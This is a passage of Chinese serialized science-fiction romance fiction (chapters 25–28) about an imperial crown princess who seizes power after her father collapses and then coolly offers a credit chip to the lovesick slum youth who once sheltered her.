江意衡稳住节奏,一字一句:“如果他们知道,您那些表面上的哀悼与追忆,都只不过是为了掩饰野心而为之的表演。 “如果他们知道,母亲的死不是意外,而是您亲手布的局。” 她微扬唇角,却放轻声音:“那您觉得,他们是会站在您那边,还是站在我这边?” 第25章 他的每一寸皮肤都记得她…… “你现在,是在威胁我?”江御川敛起笑意。 江意衡依旧是那副冷冽语气:“事故可以毁灭一个人,舆论同样可以。更何况,是您这样一个以权力为生的人。那些贵族,应该不会想要继续支持一个曾犯下如此罪孽的人。” 她着重道:“您说是吗,父亲?” “哪怕这会彻底颠覆民众对王室的信任?” “这是我必须权衡的风险。” “好。”即便到了这种时候,江御川仍能沉得住气。 虽然嘴上表达着嘉许的意思,他却在缓缓摇头:“你做得,比我期望的还要好。” 江意衡的脸上没什么表情:“您当我在说笑?” “我可没这么说。” 江御川回身时,眼中充满审视,那自豪的表情,俨然是在照着一面令他满意的镜子。 “你是我江御川的女儿,是我一手培养出的王室继承人,我从来没有低估你的潜力。我能做到的事情,你也能做到。至于我做不到的,我也相信你可以。” 他一手扣在桌边,眉头紧锁,双眼合起,像在思考重要的事情。 可是许久,江意衡也没等来他的下一句话。 她年幼时离开母亲怀抱,住进父亲掌管的王宫,他曾是她最敬畏的人。 而今,她已不再畏惧他,也不再对他心存敬意。 离开前,江意衡丢下最后一个问题。 一个她长久以来,想替母亲问他的问题。 “您对母亲,到底有没有过半分情意?” “那些,都无所谓了。” 江御川吐出一句近乎轻描淡写的话,身形微微一晃,“目的,早就达到了。” 直到这时,江意衡才察觉到他的异样。 江御川的脸色比平日更显苍白,手指因用力而泛白,鬓角渗出一层薄汗。 即便如此,他却仍是挺直脊背,一如既往地维护属于君王的尊严。 “您还好吗?”江意衡冷声问。 江御川凝视着她,嘴角浮现淡笑,目光却深不见底:“我的女儿,你迟早……会成为我。 “您到底想说什么?” 她没有听到江御川的回答。 在那之前,江意衡先听到杯盏落地摔得粉碎。 紧接着,是身体倒地发出的闷响。 江御川躺在一地碎瓷之间,腿脚无法自控地战栗。 一只手紧扣心口,另一只手则在冰冷的大理石地板上摸索,徒劳寻觅着某种并不存在的救命之物。 他面色发紫,视线牢牢锁在她脸上,似乎是强撑着最后一口气。 苍白的唇瓣嚅动,却再没发出一点声音。 唯有漆黑笑意长久驻留眼底。 * 帝国王室医院,位于顶层的国王私人病房内。 这里静得落针可闻,只有仪器的滴答声,以及黎书宛的小声啜泣。 江意衡伫在床侧,低头望着躺在病床上的江御川,仿佛他不是昏迷,而只是睡着而已。 三小时前,江御川还在餐厅里与她争论。 而现在,他却安静地合着双眼,由仪器维持生命。 “医生怎么说?”江意衡问得平静。 黎书宛摇摇头,泪水滑落眼眶:“你父亲患有脑部动静脉畸形,伴随长期高血压,一经破裂后颅内出血,脑干受损。医生也无法断定,他还能不能恢复意识。这七十二小时,是手术后最关键的时期,他能否苏醒,就看这三天。” “脑部动静脉畸形。” 江意衡冷漠地复述着江御川的病情,“这么重要的事,他为什么要对我隐瞒?” “你还不知道你父亲是什么样一个人吗?他那么骄傲,怎么会在自己女儿面前示弱。” 黎书宛看着她,脸上扬起一点悲伤笑意,“他每年都会接受秘密体检,也考虑过手术切除,但他不愿冒着手术失败的风险,只是通过保守用药控制。他从确诊的那一天起,就一直保守着这个秘密,不想让别人为他担心。” 曾在王座上陪伴帝国二十余年的男人,如今失去意识,连醒来的机会也变得渺茫。 他隐瞒病情,很难说是怕她担心,还是怕她威胁到自己的统治地位。 江意衡沉默地望着病床上的人。 半晌后,她循着光脑终端上弹出的提示,转身匆匆向门口走去。 “意衡。” 黎书宛喊住她,“就这三天,你都不留下,守着你父亲吗?” 江意衡停住脚步。 “黎姨,您应该清楚,现在躺在那里的人,只是一具沉睡的躯壳而已。” 她微微一顿,“何况,我要处理的事情,用不了三天。” * “小简,婶来看你了。” 张念春推开屋门,把怀里抱着的大米、煤球和肥皂先后靠墙摆下,“街道在发放福利物品,你那份,我帮你领回来了。” 她下意识地循向床头,却没看到少年卧下养病的身影。 一撇过视线,就看到他穿着蓝毛衣,站在墙角拉扯袖子。 “你怎么起来了?烧了三天,还不躺下好好休息!” 张念春拿起体温计上前,少年却唤住她:“不用了,张婶。我已经量过了,我没事了。” 他又理了理衣角,才转过身来,抬头忐忑道:“您看我这样打扮,她会喜欢吗?” 张念春提着体温计怔在原地。 他说的那个人,是江意衡? 张念春搓了搓手指,犹豫道:“小简,不是跟你说了,她……” “她让我等她,我一直记着。” 简星沉打断她的话,“您看,这是她买给我的衣服,是不是很好看,是不是很洋气?” 少年脸上仍余有高烧过后的苍白,眼角眉梢却洋溢着欢喜。 他不厌其烦地抚平所有褶皱,连肩头的接缝处也仔细对齐。 张念春一眼就看到他手肘上破洞的位置,线头翘起,边上还起了球。 “都磨破了,就别穿了。换一件吧,婶帮你再找找?” 她走到屋里仅有的木头箱子前,那是少年存放所有毛衣的地方。 他却坚定摇头:“不行,这是她让我穿的。如果她回来看到,我没穿着她让我穿的衣服,她会不高兴的。” 张念春心里不安,却又无法明说,只好装糊涂:“你在说什么呀,穿什么还不是你自己的事,谁还能管到这茬。” “张婶,您忘了?” 少年回到床前,指着他铺在上面的床单,“这床单,也是她挑的。她想让我穿得好、睡得好,这世上,没有比她更关心在乎我的人了。” 他坐在床边,双手顺着床单的纹路细细抚过:“我每天晚上都给她腾出位置,还给她留了专门的枕头。我昨天晚上又梦到她了,她一定很快就会回来。” 少年的眼睛亮晶晶的,语气满怀期待。 张念春开始担心,是连续三日的高烧,把他的脑袋烧坏了。 “你也不瞧瞧自己,都憔悴成什么样了?” 她掏出一面掌心大小的便携化妆镜,递到他面前,“听婶一句劝,吃点东西,再睡一觉,别想那些有的没的的。” 简星沉愣住片刻,对着小镜子反复端详自己的脸:“我的脸色,真有那么差?” 他抬起眼,目光惊慌失措:“那我看起来,岂不是很难看……” 张念春安慰他:“没事的,气色不好只是暂时的,你养养就回来了。” “可是她随时都可能会回来,我,我不能让她看到我这副样子。” 少年急得原地转了一圈,忽然一拍脑袋,俯身从床下拖出一个小木盆,里面装着几个蒙尘的瓶瓶罐罐。 他鼓起腮一一吹去灰尘,打开确认,最后总算顶着一鼻子灰,举起一个塑料小圆盘。 大红色的盖,半透明的底,夹着一片薄薄的粉扑,和一块压成型的玫红色胭脂粉膏。 简星沉只见过姥姥抹过一次胭脂。 那是姥姥离世前的早上,她难得恢复了精神,手里就拿着这个小盘子,对着镜子点在脸上。 他那时才刚上小学,不知道胭脂能用来做什么,只好奇地扒在床边问她。 姥姥解释,胭脂会让人有气色。 他揪着她的衣角,说他也想试试。 姥姥却笑他年纪太小,没必要用这种东西,只是轻轻在他眉间点上一点红。 简星沉不记得姥姥是怎么涂抹胭脂的,完全是凭着感觉,往自己颊上抹了又抹。 “张婶,我这样,看起来好点没?” 张念春鼓了鼓腮,却没出声。 他以为是自己抹的还不够,又蘸了两下粉膏,往颊上更用力地抹了一通。 少年涂抹胭脂的样子,让张念春想起自己年轻时看过的戏班子演员。 她总觉得哪里不对,合该伸手阻止。 而他已经转过脸来:“这样呢?这样有气色了吗?” 少年顶着一张秀气苍白的面容,连唇色都淡到几乎透明,唯有颊上红得浓墨重彩。 像个小丑,张念春不自觉地想。 可他眼里的问询意味是如此诚挚,张念春想说的话在嘴边打了个转,又硬生生咽回肚子里。 “你得往下涂,别横着抹开。” 她掏出手绢,擦了擦他脸上那些像晒伤似的胭脂红,“嘴巴上也可以抹一点。” 少年点点头,小声复述着,抬起手背擦掉多余的颜色。 他忽然请求道:“您能把镜子借我几天吗?我想练一下手。” “婶有别的镜子,这个你留着用。”张念春叹着气,把小镜子塞到他手里。 他受宠若惊地朝她再三鞠躬,笑逐颜开地捧着胭脂盘和小镜子,并排摆在桌上。 旁边摆着一杯放凉的水,被他端到窗台前。 那里有一个老旧掉漆的搪瓷杯,里面孤零零地长着一棵小草,细弱的叶片努力伸向窗外的光,活得很倔强。 “你还留着这个?”张念春问。 简星沉点点头,把水洒在手心,然后顺着手指的弧度,一点点围着草茎滴落。 “我答应过她,要代她对小草负起责任。我听说,只要跟小草说好听的话,它就会高兴。它高兴,就会长得更好。” 他弯腰靠近小草,轻声细语:“你也很想她,你也想见到她,对不对?她就快回来了,你要再长高一点,长结实一点,让她知道,你也跟我一样努力。” 少年穿着破了洞的毛衣,往没有血色的脸上涂抹过期胭脂,还对着一棵不起眼的杂草说话…… 只为了一个,根本就不属于这里的人。 张念春实在不忍心看他这么自欺欺人下去。 她大步上前,苦口婆心:“小简,像那样的人,根本就不可能出现在这里。好好过日子不行吗?为什么要惦记那种不存在的人?” “不存在的人……”简星沉喃喃着。 江意衡怎么可能不存在。 他记得她,他身上的每一片皮肤都记得她,他的腺体,乃至他的心跳……都记得她。 别人可以对他撒谎,但是他不可能骗过自己。 江意衡,明明就真真切切地存在过。 少年正对着窗,视线却偏向一侧,手指不自觉地互相拨动。 有一瞬间,他似乎意识到什么,眸光骤黯,面色惨白,浮现出心如死灰的模样。 但也只持续了那么一瞬间。 很快,他又重新弯起眼角,挤出笑意。 “张婶,您怎么还开这种玩笑,我又不是小孩子,不会轻易上当的。” 他朝着张念春转过头,目光却在途中停滞,仿佛正看着屋中并不存在的谁,对着空气笑了笑。 “她只是暂时被耽搁了一下。她在梦里,是这么跟我说的。” 天真无邪的表情。 理所当然的语气。 “小简!” 张念春本想再劝他,可话到嘴旁,又觉得像少年这样,已经不是劝一劝就能叫醒的了。 她抬起一只手,几乎想要指着什么咒骂。 最终却只是用力攥起拳头,声音发抖:“你忘了吗?已经过去一个月了,一整个月!” “没关系的。” 简星沉弯了弯唇角,扬起视线,笑得平静,“不信,您等明天。明天,她就会回来的。” 第26章 亲爱的殿下,您是不是忘…… 指针过了整点五分钟,会议大厅外才传来清晰的脚步声。 江意衡推开前门,在众人意外的目光中,步履平稳地走到本该属于江御川的位置。 她一出现,席间话语骤止,空气中弥漫开一股隐约不安的气息。 身为帝国科技部长的章厉殊率先发问:“敢问殿下,陛下今日还出席吗?” “父亲身体不适,现在不方便与你们说话。” 江意衡掀起大衣下摆,从容落座,语气冷静且不容置疑,“他今日,不会出席了。” 众人一时哗然。 “陛下不来了?” “怎么没人提前通知我们。” “难道陛下昏迷的传闻是真的?” 章厉殊环视一圈,等到私语声渐渐平息,才代众人向江意衡发声:“内阁会议向来都是陛下主持的。如果他不在,我们可以推迟到下周同一时间。” 江意衡轻笑一声,微歪过头,掠过他的目光却如刀刃般锋利:“我父亲是不在。可这里,不是还有我吗?” 她徐徐扫过会议室里的每一张面孔,所有人都下意识地回避了她的目光。 “在他不便期间,内阁所有事务,向我汇报就行。” 王储的到来太过突然。 众人面面相觑,不知该如何应对。 江意衡挑起唇角,语气不由带上讽刺:“怎么,各位都不说话了?我进门之前,你们不是讨论得很热烈吗?” 她转过脸,目光不偏不倚落在章厉殊身上,眼里带着审视意味:“我听说,您的儿子近期担任了B区的职务,好像是什么‘科技发展署署长’。我应该没弄错吧?” 章厉殊神色一顿,旋即恢复如常,挂上恰到好处的微笑:“想不到,殿下会关心犬子的动向。他新上任,做事还生疏。为人父的,只希望他能扎实点,别在仕途上闹出什么笑话。” “章部长,您太见外了。” 江意衡微微一笑,“您的儿子子承父业,是何等光荣。如果您早点提起,我一定会早早恭喜您。” 章厉殊依旧是那副谦逊姿态:“区区一个小小的署长,怎敢劳烦到殿下面前。” 江意衡伸出指尖轻敲桌面,语声一冷:“但您劳烦到言总理面前了,不是吗?” 章厉殊的目光微微一晃。 对面就是言总理的座位,那里空无一人,只有一个三角名牌孤零零地摆在桌上,在几乎座无虚席的会议厅内,显得格格不入。 江意衡顺着章厉殊的视线望去,露出早有预料的笑容:“啊,我忘了。言总理近两日身体不适,正由我的未婚夫陪同着在家休养呢。您也知道,像他这把年纪的人,生了病总得仔细一点。” 她轻描淡写地调整了一下坐姿,翘起一条腿,目光带着戏谑:“我帮他给您发了一条内部备忘录,以便告知,他今天无法参与会议。您没收到?” 章厉殊脸上的笑容僵了一瞬。 他不动声色抬起手腕,点开腕上的光脑终端,假装查看信息。 然而,就在他操作的同时,光屏上忽然弹出一条突兀的通讯请求。 来电人不是别人,正是他的儿子,章砚庭。 章厉殊的动作顿了一下。 整个会议厅鸦雀无声,所有人都注意到了这个细节。 光屏上的通话请求仍在闪烁,章厉殊却没有立刻接通。 他眉心微拧,仿佛正斟酌着,要如何在众目睽睽下应对。 江意衡饶有兴致地看着他,缓缓抬指点在桌上:“特意在您开会期间找来,万一是急事呢?您应该不想错过。” 她的语气温和,态度却是明摆着对他施压。 章厉殊几乎感到空气凝结了片刻。 他硬着头皮,终于接通章砚庭的来电。 下一秒,位于耳内的微型通讯器里,却传来章砚庭熟悉而惊慌的声音。 “爸,大事不好了!” 通讯线路的另一头嘈杂得震耳欲聋。 有刺耳的呵斥声,伴随着翻动文件的哗哗声,还有扣上金属锁铐的咔哒声。 “我在老地方,和您的那些人脉碰头,也不知道怎么,被本地安全署的人找上门了!现在,现在……” “嘭”的一声闷响,有人被压在金属车门上发出惊呼。 通讯仿佛受到干扰,背景声一片混乱。 章厉殊瞳孔皱缩,声音下意识压低:“你怎么样?你没事吧!” 章砚庭的声音几乎变了调,呼吸更是急促:“爸,救救我!他们说是接到举报,可是,谁敢和您过不去啊!” 不知何时,会议厅中的窃窃私语全都消失了。 所有人的目光都落在章厉殊的脸上。 有的是探询,更多的,却是在观望他的反应。 章厉殊沉默片刻,对着通讯线路那头的儿子低声嘱咐:“不要担心,我会想办法。” 通话就此终止。 他抬头,对上江意衡的目光,脸上再无笑意,只剩下不动声色的客气。 江意衡微微颔首,随即撇开目光,徐徐抬起右手,露出食指上的那枚黑曜石戒指。 一瞬间,会议厅气氛一滞。 左侧,军部副部长默默拂了拂鼻子。 右侧,财政部长悄然摘下眼镜,擦拭镜片。 就连角落里的官员,也不自觉地低头轻咳一声。 “父亲在闭门休养前,将这枚戒指交予我,正是出于他对我的信任。” 江意衡语气平稳,咬字清晰,“国王不便时,王储本就有义务代行职务。从今天起,帝国内阁与军部的一切事务,由我江意衡说了算。” 没人再敢发出一丝动静。 他们很清楚,这意味着什么。 黑曜戒指,是象征王权的信物。 江御川执掌帝国二十多年,戒指从不离身。 而如今,它却戴在江意衡的手上。 江意衡看着众人,起身撂下一句话:“各位需要时间整理思绪,我也还有事。今天的内阁会议,就此结束。” 刚踏出会议大厅,她腕上的终端就震了一下。 是近卫队长陆怀峰致电。 “与章部长私下往来的几位科技巨头,都已按照您的指示暂时扣留。您打算怎么处置他的儿子,章砚庭?” “把他转交给调查组,让他好好配合审问。” 江意衡扬起一抹笑意,“越是这种时候,越得给章部长留一点体面。如果他懂得权衡,就该明白,他儿子如今的自由,取决于他接下来的表现。” “您是打算拿章砚庭当筹码,牵制章厉殊?” “哪有这么严重。” 江意衡不以为然地叹气,“再怎么说,他也是帝国的科技部长,还有我能用得着的地方。对他太严厉可不好。” “您对他,还不够严厉吗?内阁有那么多人,您只拿他开刀,这算是相当重视他了。” 江意衡嗤了一声,低头转动着食指上的黑曜戒指。 “以前有父亲青睐他,言总理保他。可现在,父亲状况不明,言总理又因为儿子和王室联姻的关系,不得不更多地顾忌我。” 她顿了一下,语气森冷:“章厉殊这些年从B区科技垄断中捞取那么多好处,足够填满一整座军火库。何况,二十年前的飞船失事……他也脱不开干系。” 陆怀峰略微沉吟,语气颇有些感慨:“都说新官上任三把火,殿下一上来就把火烧得这么重,他们不怕您才怪。” “那最好。” 江意衡满意地勾起唇角,“我还没天真到,指望他们从心底尊敬我。” 她抬起手腕,正要关闭通讯界面,却忽然看到一封未读邮件弹了出来。 发件人不明,标题和正文均为空白,只在附件里上传了几张照片。 画面有些模糊,像是仓促拍下的监控截图。 江意衡目光一沉。 她下意识地放缓脚步,点开第一张照片。 少年隔着结霜的小窗,伏案阅读,身影微微蜷起,一只手握拳捂在嘴前,似乎是在咳嗽。 江意衡指尖一顿,又往下翻去。 第二张,少年站在破旧的平房门外,肩上扛着蛇皮袋,正从一辆深绿色三轮车上卸货,袖套上沾满灰尘。 第三张,是他抱着一棵长在杯子里的小草,坐在门前的小台阶上,身后是晦暗的灯光。 而在屏幕底部,赫然是一行红色的字。 “亲爱的殿下,您是不是忘了什么?” 江意衡的视线停留在这行字上,神情微微收紧。 她本应从收件箱中直接删掉这封莫名其妙的邮件,指尖却在光屏上停顿了一下,最终还是轻轻向右一划,将它随手归档。 “殿下,怎么了?” 察觉到江意衡的静默,陆怀峰谨慎问道。 江意衡收起终端,语气淡漠:“不过是几张意味不明的照片,和一句意味不明的话。” 陆怀峰没有追问,转而汇报:“殿下,F区那几名科技新秀的表彰会,还没确定时间。闵执行官昨天致电问过,您这周什么时候有空。” 他顿了顿:“不过,您的行程已经饱和,最早也要到下周三才有时间。” 江意衡思索片刻:“今天中午十二点半呢?” “今天?” 陆怀峰有些意外,“您不是最讨厌和别人共进午餐吗?” 江意衡随意笑了笑:“我可没说,在这个时间到会场,是要和谁吃午饭。” 陆怀峰一时无言。 他核对了一下行程:“今天的内阁会议比预计时间提早结束,您现在过去的话,大约有一小时的富余。属下现在就通知他们,让他们做好准备。” 江意衡走下台阶,目光落在前方停泊的极光一号飞船上。 登船前,她忽然停住脚步。 “会场,离贫民窟西部有多远?” 第27章 信用芯片 吃过早饭不到两小时,简星沉又饿了。 这几天外面冻得厉害,地方出于安全考虑暂时封路。 他压根没法出去捡废品,只能靠着之前发放的福利物资和张婶送来的鸡蛋凑合着。 早上煮了两个蛋,又用炒过的大米连着泡了几壶茶。 嘴上勉强应付过去,肚子却很快又开始抗议,叫个不停。 常年忍饥挨饿,早已让他的身体习惯了节制。 可今天,他也不知道自己是怎么了。 水再次烧开,壶嘴发出呜呜的尖啸。 他把水壶从熄火的炉子上挪开,那呜呜声并未停止,反而越来越响,轰隆轰隆,像火车驶过。 附近没有铁路,简星沉几乎以为,自己饿出了幻觉。 那声音愈发震耳欲聋,整个屋子仿佛就横在铁轨上,随时都会被蒸汽火车迎头撞上。 他忍不住开门查看。 门把才转到一半,整扇门就被扑面而来的气流“哐”地撞开,狠狠砸到墙上。 狂风裹挟着雪尘穿门而入,卷起一地废品,鼓起他的毛衣,把他的发丝吹得狂舞。 就连窗台上的那棵小草也在剧烈摇晃,杯身倾斜,摇摇欲坠。 简星沉踉跄着踏过一地障碍,好不容易挤到窗前,却难以在狂风中稳住脚步,几次险些摔倒。 只来得及把杯子揽入怀里,随后放低重心,蹲在窗下。 滚滚雪尘转瞬间淹没了狭小的屋子。 他试图把门扣上,却在气流的呼啸之间,听到一阵仿佛巨物降临般的空旷回响。 简星沉扶着墙,勉强起身。 而此时,一道几乎能够穿透所有尘埃的蓝色强光,骤然照亮他的世界。 他只能抬手遮住过于刺眼的光芒。 透过指缝,他却隐约窥见某种机械的庞大轮廓。 称它为机械,显然是对这架精密造物的轻慢。 近乎浑然天成的流线型构造,外壳带着一层银蓝色光晕,在高处折射出阳光的轨迹,还有淡金色纹路在近处时隐时现。 好漂亮,好气派的飞船。 轰鸣的引擎声渐渐淡去,但飞船始终悬浮在地面上方一尺的高度。 舱门开启,一股温暖空气在寒风中凝成白雾,瞬间逸去。 而在光与雾交织的氛围中,徐徐走出一道人影。 脚步声由远及近,简星沉的心跳声也愈发清晰。 明明期盼了这么久,可当她真正来临,他的心头却忍不住泛起一丝怯意。 镜子和胭脂还摆在桌角,他本想着喝完这杯茶,就补一下气色的。 毛衣上起的球还没来得及用刀片刮干净,袖子上一摸,都是硌手的小疙瘩。 更不用提,屋里被风卷出一地狼藉。 他缩在窗边的角落里,背靠着墙,一手牢牢护住杯子里的小草,另一只手慌乱地拉扯衣领和袖口,试图抚平每一条堆起的褶皱。 而她的脚步声忽然停了。 简星沉微微侧过头,就看到一双不染尘埃的黑色鞋尖,静静地出现在他面前。 他默默吸气,忐忑地抬起头。 长裤笔挺,身形冷峻。 单扣外套一侧是金色绶带,另一侧别着锃亮的十二芒星徽章。 长发一丝不苟地挽成发髻,面容尊贵而平和。 江意衡垂下目光,落在他徐徐扬起的面容上。 记忆中那个温吞的少年,似乎是被飞船降落时的动静吓到,此刻正缩在墙角。 他仰望着她,抬起的眸子里满是难以掩饰的期待,却也闪动着惶恐与局促。 像只怯生生的小兽,江意衡想。 她朝他莞尔一笑,那笑容,几乎令他瞬间如释重负。 简星沉开口,声音微颤,下意识把手里的小草举高一点:“这是你托我照顾的小草,我……” “简先生,幸会。希望飞船的引擎没有吵到你。” 她没有看他手里的小草,只是轻声打断他的话,还向他伸出一只手。 四指并拢,拇指张开,是要握手的姿势。 “请容我介绍一下自己,我叫江意衡。” 简星沉望着她,神情有片刻迷茫。 他当然知道她叫什么。 经历了所有这些,他至少还能确定,她叫什么。 可除了名字,她的一切,似乎都不一样了。 江意衡的笑容礼貌而克制,语气温和却疏离。 她叫他“简先生”,语气甚至比那些帝国公职人员还要冷淡。 他迟迟没有握住她伸出的手,只是把手指在搪瓷杯上绕得更紧。 江意衡没有强求。 她收回手,唇瓣微启,似乎要说什么。 简星沉不由顿住呼吸,一丝细微的希望悄然升起。 可下一秒,她只是轻轻点头,偏过脸看着屋外,淡声道:“我已经到了。嗯,一切都好。” 简星沉顺着她的目光望向门口,但那里,明明没有别人。 江意衡看出他的困惑,抬手指了指耳朵,解释道:“陆队长的工作就是保障我的安全。出门在外,我都随时和他保持联络。希望你不会见外。” 简星沉缓缓摇头,目光却垂了下来。 他觉得见外与否并不重要。 这里,没有他反对的余地。 江意衡转身打量小屋。 除去满地雪尘,一切与她离开时差不了多少。 床单换成了新的,窗边还挂着当初由她买下的绿毛衣。 桌上多了一面小镜子,和一个外观复古的圆形塑料盘。 “这是什么?” 江意衡随手端起那个塑料盘,露出疑惑的表情。 她的指尖刚要掀开盖子,简星沉忽然起身,一把将它从她手中夺走,像护食的小兽那样,紧紧揣在身后。 “擦,擦脸用的。”他支支吾吾道。 江意衡一愣,有些好笑地看着他:“你倒是挺宝贝它。” 少年的肌肤淡得几乎看不出血色,脸上柔软的颊脂微微塌陷,憔悴得不成样子。 “吃得好吗?”她问。 少年点头,却不细述。 “睡得好吗?”她又问。 少年轻轻嗯了一声,仿佛这样就已足够。 江意衡目光微沉。 那件曾经还算合身的蓝毛衣,如今穿在他身上,甚至有些空荡。 他正努力把左手往身后藏去,试图掩饰肘部磨破的地方。 “都蹭破了,你还穿着?”她笑了笑。 无论她问什么,少年都只是安分地点头,不多说一个字。 他低着头,不敢对上她的眼睛。 江意衡有一双能够洞穿人心的眼睛。 简星沉唯恐自己只要与她对视超过两秒,就会被她发现,其实他过得,并没有她嘱咐的那么好。 可当她挪开视线时,他又忍不住偷偷循向她的身影,生怕只要她一离开他的视线,就会像梦中那样消失。 万一,她真的是他幻想出来的呢? 万一,张婶说的都是对的呢? 不过十五平的小屋,江意衡很快就巡视完了。 腕上的光脑终端并未在屋内检测到任何监控设备。 而她早前留下的恒温力场生成仪,依然悬浮在架子上方,借助环境色伪装自身,持续散发出宜人的温暖。 她调出一个月内的运行记录,确认仪器工作良好,未曾有故障报告。 这就够了。 可她的目光,却不由自主偏向那张简陋却整洁的床铺上。 正微微出神时,背后却传来少年的轻声询问。 “请问,你是他们说的,那个王储吗?” 江意衡顿了顿。 如今,她已接管帝国大权,此行本就是以王储之名,亲自登门致谢。 即便身处贫民窟,四周隔墙有耳,她的一言一行,也应当光明磊落,经得起任何人的审视。 “是。”江意衡答得笃定,“你都知道了?” 少年没有接话,只是又问她:“城里有位方警官,说你没来过贫民窟,为什么?” 江意衡微微一怔。 她记起,在信息封锁最严密的时期,F区安全署是曾发来一条简讯。 如果不是少年提及,她几乎都忘了。 “安全署的官员只是在尽他的职责而已。他不是针对你。” “所以,你是默许的?” 他问得始终是那么小心翼翼。 江意衡没有回答。 整个消息封锁计划,都是她亲自下达的。 可这话若是说出口来,未免有些无情。 身后的少年却好像在替她找借口:“你可以告诉我,我不会说出去的。” “可我不喜欢把选择权放到别人手里。” 她的话,令简星沉恍惚了片刻。 他曾不止一次宽慰自己,也许是王室规矩太多,也许是她有什么苦衷。 只要她愿意告诉他,哪怕是最含糊的解释,他也会毫不犹豫地全盘接受。 偏偏江意衡连这一点余地都没给他。 她回绝得如此干脆,却又像无事发生那般,轻描淡写地关心道:“那个卖衣服的小本经营户,张念春,她这段时间有来看过你吗?” “张婶来过。” 少年轻轻点头,语气更低,“难怪她突然过问起我的生活,我差点就以为,她是真的关心我。” 对话到此,已经无话可续。 他们伫在同一片屋檐下,却好像隔着比任何时候都遥远的距离。 四周只余下飞船引擎待机的低鸣,以及彼此呼吸错开的节律。 屋里的空气干燥异常,江意衡隐隐觉得喉咙发紧。 她仰头轻揉颈侧,语气带着一丝自嘲:“天气预报什么时候能准一点。出门前才查过的天气,怎么一到这里就变了。” 天气。 入冬以来,贫民窟的天气几乎就没好过。 简星沉从不在乎。 只要她能回来,再大的风雪,他都能熬过去。 可眼下,风雪已停,而她的背影伫在光中,好像一尊没有感情的雕像。 完美无缺,却比任何风雪都要冰冷。 越是熟悉一个人,越是喜欢一个人,就越容易分辨出,她亲切的样子,和她冷漠的样子。 他敏锐地察觉到,这个人,不是曾和他挤在一张床上,抱着他的腰,靠在他耳边,让他讲故事哄她入睡的人。 这个人,会跟他保持分寸。 他明明还站在原地,她却已经陌生得让她看不清了。 江意衡的余光扫过腕上终端,下一项日程的提示正在无声闪烁。 原打算就此离开,可一回头,却看到少年把胭脂盘放回桌上。 他专心托着手里的杯子,弯着腰细细拂去小草沾到的雪尘,甚至还轻轻朝它呵出一口气。 简星沉正要将小草放回窗台,一枚黑色六边形卡片就出现在他眼前。 他抬眸,睫毛颤了颤,对上江意衡微笑的脸。 “信用芯片。” 她轻启唇瓣,吐字优雅到了极致,“我总得向我的救命恩人,表达感谢吧?” 第28章 你要和他,结婚吗?…… 简星沉只在小混混手上见过蓝色的储蓄芯片。 他记得,那是外区的人用来支付赏金的东西。 此时他垂眸,看着江意衡手里这张黑色信用芯片。 哑光质地,上面有一头金线勾出的鹰。 而他曾经在那些黑衣人的制服上,见到过相似的图案。 现在他知道了,这头金色的鹰,是帝国王室纹章上的标志物。 镀金的黑色芯片仍被江意衡捏在指尖。 她似乎是以为他没看清,将芯片更近地送到他眼前,手指轻轻掂了掂,同时放大唇角笑意。 她对他,笑得堪称温和平静。 这是简星沉在梦里见到她时,常看到她露出的表情。 他一度以为,这样的表情才更温暖,才更让人想要亲近。 可如今这么望着,他才明白,世界上没有比这更遥远的距离。 江意衡就像冬日里高悬的太阳,照耀在雪地上。 可即便是再炽烈的阳光,也无法轻易融化严冬的分量。 简星沉刚才听得很清楚,她这次,是来向他表达谢意的。 可她要谢他什么呢? 是谢他,收留她住进四面透风的小屋。 是谢他,在最狼狈的发情期,对她敞开衣襟,毫无保留。 还是谢他,在那些没有她的黑夜里,一遍又一遍告诉自己,她是真的,她存在过…… 江意衡用一张信用芯片偿还人情。 他们之间,难道就只剩下这样的东西? 少年迟迟没有接下信用芯片,江意衡担心他是不熟悉芯片的便利之处,难得耐心地解释起来:“这张信用芯片,没有使用限额。你什么时候想用,想用多少都可以。” 一份没有上限的赏金。 换作任何人,都应大恩言谢。 换作任何人,都应感激涕零。 简星沉却只是垂着眼,抬起泛白指尖,下意识地向她的手靠近。 那上面,有他曾触及过的温度,他仍眷恋不已。 可芯片上耀眼的金色,却先刺痛了他的心。 江意衡的指尖微微松开。 她以为,他做好了接过补偿的打算。 然而,那张镀金的黑色芯片却滑落她的指尖,径直落在冰冷的地面,像一枚模糊的骰子那样转了几圈。 最终,伴着一声响彻四壁的“啪”,停在他们之间。 沉默在屋中蔓延。 江意衡的余光能看到脚边的芯片。 她想,也许是他一时惊讶手滑。 这样的失误,合该避免。 可当视线落在少年空出的那只手上时,她才看到,他分明将五指握紧,半只手都缩在袖子里,垂眸看着他自己的鞋尖。 似乎从一开始,就没打算接下她的好意。 江意衡按下心头一丝不悦:“怎么了?” “如果你是来道谢的,那不必了。” 少年僵硬地弯了弯唇角,神情木然,语气却是一如既往地和气。 好像一只小鸟风信标,在风中左右颤动,发出机械的轻吟。 可她明明记得,他也会扑着小小的翅膀,笨拙又天真地向她靠近。 那些曾浮现在他眼底的细碎光芒,他颊上漾起的点点笑意,如今不见踪影。 江意衡再次扫视屋中。 半晌后,抛下一句话:“东西,我留在这了。过几天,我再来。” “等等。” 简星沉从口袋里摸出那枚古铜色纽扣。 他忽然觉得,自己不应该再持有这种东西:“这是你之前落下的,我现在还给你。” 江意衡看着他手中托起的纽扣,有片刻愣怔。 她确实纳闷过,为什么当时衣服上少了一颗纽扣。 她早该知道,那时候他对自己有所隐瞒。 可没想到,他会在这种时候,主动拿出来。 “我用不上了。” 她展眉,对他一笑,“你想留着,也可以。” 简星沉捧着那枚纽扣,一动不动。 思绪在脑海里空转,直到她的身影几乎消失在门口,他才终于忍不住,问出今天最后一个问题。 “你要和他……结婚吗?” 脚步声在门前顿住。 江意衡轻舒一口气,伸手拂过耳边一缕发丝:“我们下次再谈这个,好吗?” 那声音,几乎是柔和的。 她就连敷衍他的模样,都无可挑剔。 简星沉默然伫在原地。 本以为,她至少会正面回答他的问题。 他想过许多可能,唯独却没想过,避而不答也是一种回答。 这要他怎么还有勇气,再相信她一次。 他到底怎么还敢押上全部,再等待她一次。 一瞬间,纷繁复杂的念头都从脑海中退去。 简星沉比任何时候都要清醒。 他终于明白,自己从来不在她未来的规划中。 他不过是一棵生在墙缝里的无名杂草,得不到阳光眷顾。 她想起时,便来看他一眼。 她想不起时,他便在角落里苟延残喘,虽然过不好,却也死不掉。 就连他投下的那一点点影子,也只会在她的光芒下,消散得无影无踪。 飞船腾空,声势震荡,发出丝毫不逊于降落时的轰响。 少年只是伫在门口,任凭狂风掀起漫天雪尘,从他身侧席卷而过。 